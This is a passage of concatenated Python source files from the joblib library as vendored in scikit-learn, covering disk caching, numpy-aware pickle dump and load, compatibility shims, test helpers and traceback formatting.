                of compression. Note that compressed arrays cannot be
                read by memmapping.
            verbose: int, optional
                Verbosity flag, controls the debug messages that are issued
                as functions are evaluated.
        """
        # XXX: Bad explanation of the None value of cachedir
        Logger.__init__(self)
        self._verbose = verbose
        self.mmap_mode = mmap_mode
        self.timestamp = time.time()
        self.compress = compress
        if compress and mmap_mode is not None:
            warnings.warn('Compressed results cannot be memmapped',
                          stacklevel=2)
        if cachedir is None:
            self.cachedir = None
        else:
            self.cachedir = os.path.join(cachedir, 'joblib')
            mkdirp(self.cachedir)

    def cache(self, func=None, ignore=None, verbose=None,
                        mmap_mode=False):
        """ Decorates the given function func to only compute its return
            value for input arguments not cached on disk.

            Parameters
            ----------
            func: callable, optional
                The function to be decorated
            ignore: list of strings
                A list of arguments name to ignore in the hashing
            verbose: integer, optional
                The verbosity mode of the function. By default that
                of the memory object is used.
            mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional
                The memmapping mode used when loading from cache
                numpy arrays. See numpy.load for the meaning of the
                arguments. By default that of the memory object is used.

            Returns
            -------
            decorated_func: MemorizedFunc object
                The returned object is a MemorizedFunc object, that is
                callable (behaves like a function), but offers extra
                methods for cache lookup and management. See the
                documentation for :class:`joblib.memory.MemorizedFunc`.
        """
        if func is None:
            # Partial application, to be able to specify extra keyword
            # arguments in decorators
            return functools.partial(self.cache, ignore=ignore,
                                     verbose=verbose, mmap_mode=mmap_mode)
        if self.cachedir is None:
            return NotMemorizedFunc(func)
        if verbose is None:
            verbose = self._verbose
        if mmap_mode is False:
            mmap_mode = self.mmap_mode
        if isinstance(func, MemorizedFunc):
            func = func.func
        return MemorizedFunc(func, cachedir=self.cachedir,
                                   mmap_mode=mmap_mode,
                                   ignore=ignore,
                                   compress=self.compress,
                                   verbose=verbose,
                                   timestamp=self.timestamp)

    def clear(self, warn=True):
        """ Erase the complete cache directory.
        """
        if warn:
            self.warn('Flushing completely the cache')
        if self.cachedir is not None:
            rm_subdirs(self.cachedir)

    def eval(self, func, *args, **kwargs):
        """ Eval function func with arguments `*args` and `**kwargs`,
            in the context of the memory.

            This method works similarly to the builtin `apply`, except
            that the function is called only if the cache is not
            up to date.

        """
        if self.cachedir is None:
            return func(*args, **kwargs)
        return self.cache(func)(*args, **kwargs)

    #-------------------------------------------------------------------------
    # Private `object` interface
    #-------------------------------------------------------------------------

    def __repr__(self):
        return '%s(cachedir=%s)' % (
                    self.__class__.__name__,
                    repr(self.cachedir),
                    )

    def __reduce__(self):
        """ We don't store the timestamp when pickling, to avoid the hash
            depending from it.
            In addition, when unpickling, we run the __init__
        """
        # We need to remove 'joblib' from the end of cachedir
        cachedir = self.cachedir[:-7] if self.cachedir is not None else None
        return (self.__class__, (cachedir,
                self.mmap_mode, self.compress, self._verbose))






try:
    # Available in Python 3
    from tokenize import open as open_py_source

except ImportError:
    # Copied from python3 tokenize
    from codecs import lookup, BOM_UTF8
    import re
    from io import TextIOWrapper, open
    cookie_re = re.compile("coding[:=]\s*([-\w.]+)")

    def _get_normal_name(orig_enc):
        """Imitates get_normal_name in tokenizer.c."""
        # Only care about the first 12 characters.
        enc = orig_enc[:12].lower().replace("_", "-")
        if enc == "utf-8" or enc.startswith("utf-8-"):
            return "utf-8"
        if enc in ("latin-1", "iso-8859-1", "iso-latin-1") or \
           enc.startswith(("latin-1-", "iso-8859-1-", "iso-latin-1-")):
            return "iso-8859-1"
        return orig_enc

    def _detect_encoding(readline):
        """
        The detect_encoding() function is used to detect the encoding that
        should be used to decode a Python source file.  It requires one
        argment, readline, in the same way as the tokenize() generator.

        It will call readline a maximum of twice, and return the encoding used
        (as a string) and a list of any lines (left as bytes) it has read in.

        It detects the encoding from the presence of a utf-8 bom or an encoding
        cookie as specified in pep-0263.  If both a bom and a cookie are
        present, but disagree, a SyntaxError will be raised.  If the encoding
        cookie is an invalid charset, raise a SyntaxError.  Note that if a
        utf-8 bom is found, 'utf-8-sig' is returned.

        If no encoding is specified, then the default of 'utf-8' will be
        returned.
        """
        bom_found = False
        encoding = None
        default = 'utf-8'

        def read_or_stop():
            try:
                return readline()
            except StopIteration:
                return b''

        def find_cookie(line):
            try:
                line_string = line.decode('ascii')
            except UnicodeDecodeError:
                return None

            matches = cookie_re.findall(line_string)
            if not matches:
                return None
            encoding = _get_normal_name(matches[0])
            try:
                codec = lookup(encoding)
            except LookupError:
                # This behaviour mimics the Python interpreter
                raise SyntaxError("unknown encoding: " + encoding)

            if bom_found:
                if codec.name != 'utf-8':
                    # This behaviour mimics the Python interpreter
                    raise SyntaxError('encoding problem: utf-8')
                encoding += '-sig'
            return encoding

        first = read_or_stop()
        if first.startswith(BOM_UTF8):
            bom_found = True
            first = first[3:]
            default = 'utf-8-sig'
        if not first:
            return default, []

        encoding = find_cookie(first)
        if encoding:
            return encoding, [first]

        second = read_or_stop()
        if not second:
            return default, [first]

        encoding = find_cookie(second)
        if encoding:
            return encoding, [first, second]

        return default, [first, second]

    def open_py_source(filename):
        """Open a file in read only mode using the encoding detected by
        detect_encoding().
        """
        buffer = open(filename, 'rb')
        encoding, lines = _detect_encoding(buffer.readline)
        buffer.seek(0)
        text = TextIOWrapper(buffer, encoding, line_buffering=True)
        text.mode = 'r'
        return text






"""
Helper for testing.
"""

import sys
import warnings
import os.path
import re
import subprocess
import threading

from sklearn.externals.joblib._compat import PY3_OR_LATER


def warnings_to_stdout():
    """ Redirect all warnings to stdout.
    """
    showwarning_orig = warnings.showwarning

    def showwarning(msg, cat, fname, lno, file=None, line=0):
        showwarning_orig(msg, cat, os.path.basename(fname), line, sys.stdout)

    warnings.showwarning = showwarning
    #warnings.simplefilter('always')


try:
    from nose.tools import assert_raises_regex
except ImportError:
    # For Python 2.7
    try:
        from nose.tools import assert_raises_regexp as assert_raises_regex
    except ImportError:
        # for Python 2.6
        def assert_raises_regex(expected_exception, expected_regexp,
                                callable_obj=None, *args, **kwargs):
            """Helper function to check for message patterns in exceptions"""

            not_raised = False
            try:
                callable_obj(*args, **kwargs)
                not_raised = True
            except Exception as e:
                error_message = str(e)
                if not re.compile(expected_regexp).search(error_message):
                    raise AssertionError("Error message should match pattern "
                                         "%r. %r does not." %
                                         (expected_regexp, error_message))
            if not_raised:
                raise AssertionError("Should have raised %r" %
                                     expected_exception(expected_regexp))


def check_subprocess_call(cmd, timeout=1, stdout_regex=None):
    """Runs a command in a subprocess with timeout in seconds.

    Also checks returncode is zero and stdout if stdout_regex is set.
    """
    proc = subprocess.Popen(cmd, stdout=subprocess.PIPE,
                            stderr=subprocess.PIPE)

    def kill_process():
        proc.kill()

    timer = threading.Timer(timeout, kill_process)
    try:
        timer.start()
        stdout, stderr = proc.communicate()

        if PY3_OR_LATER:
            stdout, stderr = stdout.decode(), stderr.decode()
        if proc.returncode != 0:
            message = (
                'Non-zero return code: {0}.\nStdout:\n{1}\n'
                'Stderr:\n{2}').format(
                    proc.returncode, stdout, stderr)
            raise ValueError(message)

        if (stdout_regex is not None and
                not re.search(stdout_regex, stdout)):
            raise ValueError(
                "Unexpected output: '{0!r}' does not match:\n{1!r}".format(
                    stdout_regex, stdout))
    finally:
        timer.cancel()






"""Utilities for fast persistence of big data, with optional compression."""

# Author: Gael Varoquaux <gael dot varoquaux at normalesup dot org>
# Copyright (c) 2009 Gael Varoquaux
# License: BSD Style, 3 clauses.

import pickle
import os
import sys
import warnings
try:
    from pathlib import Path
except ImportError:
    Path = None

from .numpy_pickle_utils import _COMPRESSORS
from .numpy_pickle_utils import BinaryZlibFile
from .numpy_pickle_utils import Unpickler, Pickler
from .numpy_pickle_utils import _read_fileobject, _write_fileobject
from .numpy_pickle_utils import _read_bytes, BUFFER_SIZE
from .numpy_pickle_compat import load_compatibility
from .numpy_pickle_compat import NDArrayWrapper
# For compatibility with old versions of joblib, we need ZNDArrayWrapper
# to be visible in the current namespace.
# Explicitly skipping next line from flake8 as it triggers an F401 warning
# which we don't care.
from .numpy_pickle_compat import ZNDArrayWrapper  # noqa
from ._compat import _basestring, PY3_OR_LATER

###############################################################################
# Utility objects for persistence.


class NumpyArrayWrapper(object):
    """An object to be persisted instead of numpy arrays.

    This object is used to hack into the pickle machinery and read numpy
    array data from our custom persistence format.
    More precisely, this object is used for:
    * carrying the information of the persisted array: subclass, shape, order,
    dtype. Those ndarray metadata are used to correctly reconstruct the array
    with low level numpy functions.
    * determining if memmap is allowed on the array.
    * reading the array bytes from a file.
    * reading the array using memorymap from a file.
    * writing the array bytes to a file.

    Attributes
    ----------
    subclass: numpy.ndarray subclass
        Determine the subclass of the wrapped array.
    shape: numpy.ndarray shape
        Determine the shape of the wrapped array.
    order: {'C', 'F'}
        Determine the order of wrapped array data. 'C' is for C order, 'F' is
        for fortran order.
    dtype: numpy.ndarray dtype
        Determine the data type of the wrapped array.
    allow_mmap: bool
        Determine if memory mapping is allowed on the wrapped array.
        Default: False.
    """

    def __init__(self, subclass, shape, order, dtype, allow_mmap=False):
        """Constructor. Store the useful information for later."""
        self.subclass = subclass
        self.shape = shape
        self.order = order
        self.dtype = dtype
        self.allow_mmap = allow_mmap

    def write_array(self, array, pickler):
        """Write array bytes to pickler file handle.

        This function is an adaptation of the numpy write_array function
        available in version 1.10.1 in numpy/lib/format.py.
        """
        # Set buffer size to 16 MiB to hide the Python loop overhead.
        buffersize = max(16 * 1024 ** 2 // array.itemsize, 1)
        if array.dtype.hasobject:
            # We contain Python objects so we cannot write out the data
            # directly. Instead, we will pickle it out with version 2 of the
            # pickle protocol.
            pickle.dump(array, pickler.file_handle, protocol=2)
        else:
            for chunk in pickler.np.nditer(array,
                                           flags=['external_loop',
                                                  'buffered',
                                                  'zerosize_ok'],
                                           buffersize=buffersize,
                                           order=self.order):
                pickler.file_handle.write(chunk.tostring('C'))

    def read_array(self, unpickler):
        """Read array from unpickler file handle.

        This function is an adaptation of the numpy read_array function
        available in version 1.10.1 in numpy/lib/format.py.
        """
        if len(self.shape) == 0:
            count = 1
        else:
            count = unpickler.np.multiply.reduce(self.shape)
        # Now read the actual data.
        if self.dtype.hasobject:
            # The array contained Python objects. We need to unpickle the data.
            array = pickle.load(unpickler.file_handle)
        else:
            if (not PY3_OR_LATER and
                    unpickler.np.compat.isfileobj(unpickler.file_handle)):
                # In python 2, gzip.GzipFile is considered as a file so one
                # can use numpy.fromfile().
                # For file objects, use np.fromfile function.
                # This function is faster than the memory-intensive
                # method below.
                array = unpickler.np.fromfile(unpickler.file_handle,
                                              dtype=self.dtype, count=count)
            else:
                # This is not a real file. We have to read it the
                # memory-intensive way.
                # crc32 module fails on reads greater than 2 ** 32 bytes,
                # breaking large reads from gzip streams. Chunk reads to
                # BUFFER_SIZE bytes to avoid issue and reduce memory overhead
                # of the read. In non-chunked case count < max_read_count, so
                # only one read is performed.
                max_read_count = BUFFER_SIZE // min(BUFFER_SIZE,
                                                    self.dtype.itemsize)

                array = unpickler.np.empty(count, dtype=self.dtype)
                for i in range(0, count, max_read_count):
                    read_count = min(max_read_count, count - i)
                    read_size = int(read_count * self.dtype.itemsize)
                    data = _read_bytes(unpickler.file_handle,
                                       read_size, "array data")
                    array[i:i + read_count] = \
                        unpickler.np.frombuffer(data, dtype=self.dtype,
                                                count=read_count)
                    del data

            if self.order == 'F':
                array.shape = self.shape[::-1]
                array = array.transpose()
            else:
                array.shape = self.shape

        return array

    def read_mmap(self, unpickler):
        """Read an array using numpy memmap."""
        offset = unpickler.file_handle.tell()
        if unpickler.mmap_mode == 'w+':
            unpickler.mmap_mode = 'r+'

        marray = unpickler.np.memmap(unpickler.filename,
                                     dtype=self.dtype,
                                     shape=self.shape,
                                     order=self.order,
                                     mode=unpickler.mmap_mode,
                                     offset=offset)
        # update the offset so that it corresponds to the end of the read array
        unpickler.file_handle.seek(offset + marray.nbytes)

        return marray

    def read(self, unpickler):
        """Read the array corresponding to this wrapper.

        Use the unpickler to get all information to correctly read the array.

        Parameters
        ----------
        unpickler: NumpyUnpickler

        Returns
        -------
        array: numpy.ndarray

        """
        # When requested, only use memmap mode if allowed.
        if unpickler.mmap_mode is not None and self.allow_mmap:
            array = self.read_mmap(unpickler)
        else:
            array = self.read_array(unpickler)

        # Manage array subclass case
        if (hasattr(array, '__array_prepare__') and
            self.subclass not in (unpickler.np.ndarray,
                                  unpickler.np.memmap)):
            # We need to reconstruct another subclass
            new_array = unpickler.np.core.multiarray._reconstruct(
                self.subclass, (0,), 'b')
            return new_array.__array_prepare__(array)
        else:
            return array

###############################################################################
# Pickler classes


class NumpyPickler(Pickler):
    """A pickler to persist big data efficiently.

    The main features of this object are:
    * persistence of numpy arrays in a single file.
    * optional compression with a special care on avoiding memory copies.

    Attributes
    ----------
    fp: file
        File object handle used for serializing the input object.
    protocol: int
        Pickle protocol used. Default is pickle.DEFAULT_PROTOCOL under
        python 3, pickle.HIGHEST_PROTOCOL otherwise.
    """

    dispatch = Pickler.dispatch.copy()

    def __init__(self, fp, protocol=None):
        self.file_handle = fp
        self.buffered = isinstance(self.file_handle, BinaryZlibFile)

        # By default we want a pickle protocol that only changes with
        # the major python version and not the minor one
        if protocol is None:
            protocol = (pickle.DEFAULT_PROTOCOL if PY3_OR_LATER
                        else pickle.HIGHEST_PROTOCOL)

        Pickler.__init__(self, self.file_handle, protocol=protocol)
        # delayed import of numpy, to avoid tight coupling
        try:
            import numpy as np
        except ImportError:
            np = None
        self.np = np

    def _create_array_wrapper(self, array):
        """Create and returns a numpy array wrapper from a numpy array."""
        order = 'F' if (array.flags.f_contiguous and
                        not array.flags.c_contiguous) else 'C'
        allow_mmap = not self.buffered and not array.dtype.hasobject
        wrapper = NumpyArrayWrapper(type(array),
                                    array.shape, order, array.dtype,
                                    allow_mmap=allow_mmap)

        return wrapper

    def save(self, obj):
        """Subclass the Pickler `save` method.

        This is a total abuse of the Pickler class in order to use the numpy
        persistence function `save` instead of the default pickle
        implementation. The numpy array is replaced by a custom wrapper in the
        pickle persistence stack and the serialized array is written right
        after in the file. Warning: the file produced does not follow the
        pickle format. As such it can not be read with `pickle.load`.
        """
        if self.np is not None and type(obj) in (self.np.ndarray,
                                                 self.np.matrix,
                                                 self.np.memmap):
            if type(obj) is self.np.memmap:
                # Pickling doesn't work with memmapped arrays
                obj = self.np.asanyarray(obj)

            # The array wrapper is pickled instead of the real array.
            wrapper = self._create_array_wrapper(obj)
            Pickler.save(self, wrapper)

            # A framer was introduced with pickle protocol 4 and we want to
            # ensure the wrapper object is written before the numpy array
            # buffer in the pickle file.
            # See https://www.python.org/dev/peps/pep-3154/#framing to get
            # more information on the framer behavior.
            if self.proto >= 4:
                self.framer.commit_frame(force=True)

            # And then array bytes are written right after the wrapper.
            wrapper.write_array(obj, self)
            return

        return Pickler.save(self, obj)


class NumpyUnpickler(Unpickler):
    """A subclass of the Unpickler to unpickle our numpy pickles.

    Attributes
    ----------
    mmap_mode: str
        The memorymap mode to use for reading numpy arrays.
    file_handle: file_like
        File object to unpickle from.
    filename: str
        Name of the file to unpickle from. It should correspond to file_handle.
        This parameter is required when using mmap_mode.
    np: module
        Reference to numpy module if numpy is installed else None.

    """

    dispatch = Unpickler.dispatch.copy()

    def __init__(self, filename, file_handle, mmap_mode=None):
        # The next line is for backward compatibility with pickle generated
        # with joblib versions less than 0.10.
        self._dirname = os.path.dirname(filename)

        self.mmap_mode = mmap_mode
        self.file_handle = file_handle
        # filename is required for numpy mmap mode.
        self.filename = filename
        self.compat_mode = False
        Unpickler.__init__(self, self.file_handle)
        try:
            import numpy as np
        except ImportError:
            np = None
        self.np = np

    def load_build(self):
        """Called to set the state of a newly created object.

        We capture it to replace our place-holder objects, NDArrayWrapper or
        NumpyArrayWrapper, by the array we are interested in. We
        replace them directly in the stack of pickler.
        NDArrayWrapper is used for backward compatibility with joblib <= 0.9.
        """
        Unpickler.load_build(self)

        # For backward compatibility, we support NDArrayWrapper objects.
        if isinstance(self.stack[-1], (NDArrayWrapper, NumpyArrayWrapper)):
            if self.np is None:
                raise ImportError("Trying to unpickle an ndarray, "
                                  "but numpy didn't import correctly")
            array_wrapper = self.stack.pop()
            # If any NDArrayWrapper is found, we switch to compatibility mode,
            # this will be used to raise a DeprecationWarning to the user at
            # the end of the unpickling.
            if isinstance(array_wrapper, NDArrayWrapper):
                self.compat_mode = True
            self.stack.append(array_wrapper.read(self))

    # Be careful to register our new method.
    if PY3_OR_LATER:
        dispatch[pickle.BUILD[0]] = load_build
    else:
        dispatch[pickle.BUILD] = load_build


###############################################################################
# Utility functions

def dump(value, filename, compress=0, protocol=None, cache_size=None):
    """Persist an arbitrary Python object into one file.

    Parameters
    -----------
    value: any Python object
        The object to store to disk.
    filename: str or pathlib.Path
        The path of the file in which it is to be stored. The compression
        method corresponding to one of the supported filename extensions ('.z',
        '.gz', '.bz2', '.xz' or '.lzma') will be used automatically.
    compress: int from 0 to 9 or bool or 2-tuple, optional
        Optional compression level for the data. 0 or False is no compression.
        Higher value means more compression, but also slower read and
        write times. Using a value of 3 is often a good compromise.
        See the notes for more details.
        If compress is True, the compression level used is 3.
        If compress is a 2-tuple, the first element must correspond to a string
        between supported compressors (e.g 'zlib', 'gzip', 'bz2', 'lzma'
        'xz'), the second element must be an integer from 0 to 9, corresponding
        to the compression level.
    protocol: positive int
        Pickle protocol, see pickle.dump documentation for more details.
    cache_size: positive int, optional
        This option is deprecated in 0.10 and has no effect.

    Returns
    -------
    filenames: list of strings
        The list of file names in which the data is stored. If
        compress is false, each array is stored in a different file.

    See Also
    --------
    joblib.load : corresponding loader

    Notes
    -----
    Memmapping on load cannot be used for compressed files. Thus
    using compression can significantly slow down loading. In
    addition, compressed files take extra extra memory during
    dump and load.

    """

    if Path is not None and isinstance(filename, Path):
        filename = str(filename)

    is_filename = isinstance(filename, _basestring)
    is_fileobj = hasattr(filename, "write")

    compress_method = 'zlib'  # zlib is the default compression method.
    if compress is True:
        # By default, if compress is enabled, we want to be using 3 by default
        compress_level = 3
    elif isinstance(compress, tuple):
        # a 2-tuple was set in compress
        if len(compress) != 2:
            raise ValueError(
                'Compress argument tuple should contain exactly 2 elements: '
                '(compress method, compress level), you passed {0}'
                .format(compress))
        compress_method, compress_level = compress
    else:
        compress_level = compress

    if compress_level is not False and compress_level not in range(10):
        # Raising an error if a non valid compress level is given.
        raise ValueError(
            'Non valid compress level given: "{0}". Possible values are '
            '{1}.'.format(compress_level, list(range(10))))

    if compress_method not in _COMPRESSORS:
        # Raising an error if an unsupported compression method is given.
        raise ValueError(
            'Non valid compression method given: "{0}". Possible values are '
            '{1}.'.format(compress_method, _COMPRESSORS))

    if not is_filename and not is_fileobj:
        # People keep inverting arguments, and the resulting error is
        # incomprehensible
        raise ValueError(
            'Second argument should be a filename or a file-like object, '
            '%s (type %s) was given.'
            % (filename, type(filename))
        )

    if is_filename and not isinstance(compress, tuple):
        # In case no explicit compression was requested using both compression
        # method and level in a tuple and the filename has an explicit
        # extension, we select the corresponding compressor.
        if filename.endswith('.z'):
            compress_method = 'zlib'
        elif filename.endswith('.gz'):
            compress_method = 'gzip'
        elif filename.endswith('.bz2'):
            compress_method = 'bz2'
        elif filename.endswith('.lzma'):
            compress_method = 'lzma'
        elif filename.endswith('.xz'):
            compress_method = 'xz'
        else:
            # no matching compression method found, we unset the variable to
            # be sure no compression level is set afterwards.
            compress_method = None

        if compress_method in _COMPRESSORS and compress_level == 0:
            # we choose a default compress_level of 3 in case it was not given
            # as an argument (using compress).
            compress_level = 3

    if not PY3_OR_LATER and compress_method in ('lzma', 'xz'):
        raise NotImplementedError("{0} compression is only available for "
                                  "python version >= 3.3. You are using "
                                  "{1}.{2}".format(compress_method,
                                                   sys.version_info[0],
                                                   sys.version_info[1]))

    if cache_size is not None:
        # Cache size is deprecated starting from version 0.10
        warnings.warn("Please do not set 'cache_size' in joblib.dump, "
                      "this parameter has no effect and will be removed. "
                      "You used 'cache_size={0}'".format(cache_size),
                      DeprecationWarning, stacklevel=2)

    if compress_level != 0:
        with _write_fileobject(filename, compress=(compress_method,
                                                   compress_level)) as f:
            NumpyPickler(f, protocol=protocol).dump(value)
    elif is_filename:
        with open(filename, 'wb') as f:
            NumpyPickler(f, protocol=protocol).dump(value)
    else:
        NumpyPickler(filename, protocol=protocol).dump(value)

    # If the target container is a file object, nothing is returned.
    if is_fileobj:
        return

    # For compatibility, the list of created filenames (e.g with one element
    # after 0.10.0) is returned by default.
    return [filename]


def _unpickle(fobj, filename="", mmap_mode=None):
    """Internal unpickling function."""
    # We are careful to open the file handle early and keep it open to
    # avoid race-conditions on renames.
    # That said, if data is stored in companion files, which can be
    # the case with the old persistence format, moving the directory
    # will create a race when joblib tries to access the companion
    # files.
    unpickler = NumpyUnpickler(filename, fobj, mmap_mode=mmap_mode)
    obj = None
    try:
        obj = unpickler.load()
        if unpickler.compat_mode:
            warnings.warn("The file '%s' has been generated with a "
                          "joblib version less than 0.10. "
                          "Please regenerate this pickle file."
                          % filename,
                          DeprecationWarning, stacklevel=3)
    except UnicodeDecodeError as exc:
        # More user-friendly error message
        if PY3_OR_LATER:
            new_exc = ValueError(
                'You may be trying to read with '
                'python 3 a joblib pickle generated with python 2. '
                'This feature is not supported by joblib.')
            new_exc.__cause__ = exc
            raise new_exc
        # Reraise exception with Python 2
        raise

    return obj


def load(filename, mmap_mode=None):
    """Reconstruct a Python object from a file persisted with joblib.dump.

    Parameters
    -----------
    filename: str or pathlib.Path
        The path of the file from which to load the object
    mmap_mode: {None, 'r+', 'r', 'w+', 'c'}, optional
        If not None, the arrays are memory-mapped from the disk. This
        mode has no effect for compressed files. Note that in this
        case the reconstructed object might not longer match exactly
        the originally pickled object.

    Returns
    -------
    result: any Python object
        The object stored in the file.

    See Also
    --------
    joblib.dump : function to save an object

    Notes
    -----

    This function can load numpy array files saved separately during the
    dump. If the mmap_mode argument is given, it is passed to np.load and
    arrays are loaded as memmaps. As a consequence, the reconstructed
    object might not match the original pickled object. Note that if the
    file was saved with compression, the arrays cannot be memmaped.
    """
    if Path is not None and isinstance(filename, Path):
        filename = str(filename)

    if hasattr(filename, "read") and hasattr(filename, "seek"):
        with _read_fileobject(filename, "", mmap_mode) as fobj:
            obj = _unpickle(fobj)
    else:
        with open(filename, 'rb') as f:
            with _read_fileobject(f, filename, mmap_mode) as fobj:
                if isinstance(fobj, _basestring):
                    # if the returned file object is a string, this means we
                    # try to load a pickle file generated with an version of
                    # Joblib so we load it with joblib compatibility function.
                    return load_compatibility(fobj)

                obj = _unpickle(fobj, filename, mmap_mode)

    return obj






"""
Compatibility layer for Python 3/Python 2 single codebase
"""
import sys

PY3_OR_LATER = sys.version_info[0] >= 3
PY26 = sys.version_info[:2] == (2, 6)
PY27 = sys.version_info[:2] == (2, 7)

try:
    _basestring = basestring
    _bytes_or_unicode = (str, unicode)
except NameError:
    _basestring = str
    _bytes_or_unicode = (bytes, str)


def with_metaclass(meta, *bases):
    """Create a base class with a metaclass."""
    return meta("NewBase", bases, {})






"""Helper module to factorize the conditional multiprocessing import logic

We use a distinct module to simplify import statements and avoid introducing
circular dependencies (for instance for the assert_spawning name).
"""
import os
import warnings


# Obtain possible configuration from the environment, assuming 1 (on)
# by default, upon 0 set to None. Should instructively fail if some non
# 0/1 value is set.
mp = int(os.environ.get('JOBLIB_MULTIPROCESSING', 1)) or None
if mp:
    try:
        import multiprocessing as mp
    except ImportError:
        mp = None

# 2nd stage: validate that locking is available on the system and
#            issue a warning if not
if mp is not None:
    try:
        _sem = mp.Semaphore()
        del _sem  # cleanup
    except (ImportError, OSError) as e:
        mp = None
        warnings.warn('%s.  joblib will operate in serial mode' % (e,))


# 3rd stage: backward compat for the assert_spawning helper
if mp is not None:
    try:
        # Python 3.4+
        from multiprocessing.context import assert_spawning
    except ImportError:
        from multiprocessing.forking import assert_spawning
else:
    assert_spawning = None






"""
Represent an exception with a lot of information.

Provides 2 useful functions:

format_exc: format an exception into a complete traceback, with full
            debugging instruction.

format_outer_frames: format the current position in the stack call.

Adapted from IPython's VerboseTB.
"""
# Authors: Gael Varoquaux < gael dot varoquaux at normalesup dot org >
#          Nathaniel Gray <n8gray@caltech.edu>
#          Fernando Perez <fperez@colorado.edu>
# Copyright: 2010, Gael Varoquaux
#            2001-2004, Fernando Perez
#            2001 Nathaniel Gray
# License: BSD 3 clause


import inspect
import keyword
import linecache
import os
import pydoc
import sys
import time
import tokenize
import traceback

try:                           # Python 2
    generate_tokens = tokenize.generate_tokens
except AttributeError:         # Python 3
    generate_tokens = tokenize.tokenize

INDENT = ' ' * 8


###############################################################################
# some internal-use functions
def safe_repr(value):
    """Hopefully pretty robust repr equivalent."""
    # this is pretty horrible but should always return *something*
    try:
        return pydoc.text.repr(value)
    except KeyboardInterrupt:
        raise
    except:
        try:
            return repr(value)
        except KeyboardInterrupt:
            raise
        except:
            try:
                # all still in an except block so we catch
                # getattr raising
                name = getattr(value, '__name__', None)
                if name:
                    # ick, recursion
                    return safe_repr(name)
                klass = getattr(value, '__class__', None)
                if klass:
                    return '%s instance' % safe_repr(klass)
            except KeyboardInterrupt:
                raise
            except:
                return 'UNRECOVERABLE REPR FAILURE'


def eq_repr(value, repr=safe_repr):
    return '=%s' % repr(value)


###############################################################################
def uniq_stable(elems):
    """uniq_stable(elems) -> list

    Return from an iterable, a list of all the unique elements in the input,
    but maintaining the order in which they first appear.

    A naive solution to this problem which just makes a dictionary with the
    elements as keys fails to respect the stability condition, since
    dictionaries are unsorted by nature.

    Note: All elements in the input must be hashable.
    """
    unique = []
    unique_set = set()
    for nn in elems:
        if nn not in unique_set:
            unique.append(nn)
            unique_set.add(nn)
    return unique


###############################################################################
def fix_frame_records_filenames(records):
    """Try to fix the filenames in each record from inspect.getinnerframes().

    Particularly, modules loaded from within zip files have useless filenames
    attached to their code object, and inspect.getinnerframes() just uses it.
    """
    fixed_records = []
    for frame, filename, line_no, func_name, lines, index in records:
        # Look inside the frame's globals dictionary for __file__, which should
        # be better.
        better_fn = frame.f_globals.get('__file__', None)
        if isinstance(better_fn, str):
            # Check the type just in case someone did something weird with
            # __file__. It might also be None if the error occurred during
            # import.
            filename = better_fn
        fixed_records.append((frame, filename, line_no, func_name, lines,
                              index))
    return fixed_records


def _fixed_getframes(etb, context=1, tb_offset=0):
    LNUM_POS, LINES_POS, INDEX_POS = 2, 4, 5

    records = fix_frame_records_filenames(inspect.getinnerframes(etb, context))

    # If the error is at the console, don't build any context, since it would
    # otherwise produce 5 blank lines printed out (there is no file at the
    # console)
    rec_check = records[tb_offset:]
    try:
        rname = rec_check[0][1]
        if rname == '<ipython console>' or rname.endswith('<string>'):
            return rec_check
    except IndexError:
        pass

    aux = traceback.extract_tb(etb)
    assert len(records) == len(aux)
    for i, (file, lnum, _, _) in enumerate(aux):
        maybeStart = lnum - 1 - context // 2
        start = max(maybeStart, 0)
        end = start + context
        lines = linecache.getlines(file)[start:end]
        # pad with empty lines if necessary
        if maybeStart < 0:
            lines = (['\n'] * -maybeStart) + lines
        if len(lines) < context:
            lines += ['\n'] * (context - len(lines))
        buf = list(records[i])
        buf[LNUM_POS] = lnum
        buf[INDEX_POS] = lnum - 1 - start
        buf[LINES_POS] = lines
        records[i] = tuple(buf)
    return records[tb_offset:]


def _format_traceback_lines(lnum, index, lines, lvals=None):
    numbers_width = 7
    res = []
    i = lnum - index

    for line in lines:
        if i == lnum:
            # This is the line with the error
            pad = numbers_width - len(str(i))
            if pad >= 3:
                marker = '-' * (pad - 3) + '-> '
            elif pad == 2:
                marker = '> '
            elif pad == 1:
                marker = '>'
            else:
                marker = ''
            num = marker + str(i)
        else:
            num = '%*s' % (numbers_width, i)
        line = '%s %s' % (num, line)

        res.append(line)
        if lvals and i == lnum:
            res.append(lvals + '\n')
        i = i + 1
    return res


def format_records(records):   # , print_globals=False):
    # Loop over all records printing context and info
    frames = []
    abspath = os.path.abspath
    for frame, file, lnum, func, lines, index in records:
        try:
            file = file and abspath(file) or '?'
        except OSError:
            # if file is '<console>' or something not in the filesystem,
            # the abspath call will throw an OSError.  Just ignore it and
            # keep the original file string.
            pass

        if file.endswith('.pyc'):
            file = file[:-4] + '.py'

        link = file

        args, varargs, varkw, locals = inspect.getargvalues(frame)

        if func == '?':
            call = ''
        else:
            # Decide whether to include variable details or not
            try:
                call = 'in %s%s' % (func, inspect.formatargvalues(args,
                                            varargs, varkw, locals,
                                            formatvalue=eq_repr))
            except KeyError:
                # Very odd crash from inspect.formatargvalues().  The
                # scenario under which it appeared was a call to
                # view(array,scale) in NumTut.view.view(), where scale had
                # been defined as a scalar (it should be a tuple). Somehow
                # inspect messes up resolving the argument list of view()
                # and barfs out. At some point I should dig into this one
                # and file a bug report about it.
                print("\nJoblib's exception reporting continues...\n")
                call = 'in %s(***failed resolving arguments***)' % func

        # Initialize a list of names on the current line, which the
        # tokenizer below will populate.
        names = []

        def tokeneater(token_type, token, start, end, line):
            """Stateful tokeneater which builds dotted names.

            The list of names it appends to (from the enclosing scope) can
            contain repeated composite names.  This is unavoidable, since
            there is no way to disambiguate partial dotted structures until
            the full list is known.  The caller is responsible for pruning
            the final list of duplicates before using it."""

            # build composite names
            if token == '.':
                try:
                    names[-1] += '.'
                    # store state so the next token is added for x.y.z names
                    tokeneater.name_cont = True
                    return
                except IndexError:
                    pass
            if token_type == tokenize.NAME and token not in keyword.kwlist:
                if tokeneater.name_cont:
                    # Dotted names
                    names[-1] += token
                    tokeneater.name_cont = False
                else:
                    # Regular new names.  We append everything, the caller
                    # will be responsible for pruning the list later.  It's
                    # very tricky to try to prune as we go, b/c composite
                    # names can fool us.  The pruning at the end is easy
                    # to do (or the caller can print a list with repeated
                    # names if so desired.
                    names.append(token)
            elif token_type == tokenize.NEWLINE:
                raise IndexError
        # we need to store a bit of state in the tokenizer to build
        # dotted names
        tokeneater.name_cont = False

